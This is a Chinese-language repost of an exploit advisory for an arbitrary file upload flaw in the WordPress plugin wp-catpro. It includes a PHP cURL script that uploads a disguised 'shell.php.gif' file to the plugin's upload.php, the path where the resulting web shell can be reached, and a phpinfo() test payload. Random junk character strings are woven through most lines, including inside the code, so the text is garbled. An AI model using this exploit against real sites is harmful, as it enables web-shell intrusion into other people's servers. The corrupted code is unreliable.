WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
#-----------------------------------------------------------------------

: J$ s1 ?, z9 {; t作者  => Zikou-16
邮箱 => zikou16x@gmail.com
测试系统 : Windows 7 , Backtrack 5r3
# p6 t: s7 R3 ^' t3 C; ]  F下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
####

#=> Exploit 信息:
------------------
2 X/ N6 h1 ?+ N9 m. U- p# 攻击者可以上传 file/shell.php.gif
# ("jpg", "gif", "png")  // Allowed file extensions
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
3 j+ M  Q9 P) v  _2 o' Y# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
  J" S- Y6 ~' B2 ]------------------
$ l+ f! r3 c$ o$ p. D8 A
9 r$ G; x% ?* Z! ]" k3 M1 l- i" [#=> Exploit
% m! u. @5 b( u3 M-----------
! o0 h3 n/ {) H/ H<?php
# z: @7 Z+ _. }3 S/ H! @
$uploadfile="zik.php.gif";
: d, d0 E9 t1 _7 R- q' L6 L+ ~$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
2 i2 f, M/ q7 c7 ocurl_setopt($ch, CURLOPT_POST, true);
. U9 [) T# z/ k& l% }& W6 @$ Kcurl_setopt($ch, CURLOPT_POSTFIELDS,
* m! J6 j+ J3 X* \- K- h2 e6 [( [array('Filedata'=>"@$uploadfile",
'folder'=>'/wp-content/uploads/catpro/'));
8 d9 D5 Q3 U6 L: `0 c% pcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
) K4 j/ B4 B" k: M2 p7 V, J4 O$postResult = curl_exec($ch);
curl_close($ch);

( w1 F8 B0 c/ t: B+ l# gprint "$postResult";

Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
  ?>
/ t( [* ?3 n9 W$ i<?php
6 x8 }$ o  d; h: i# Bphpinfo();
?>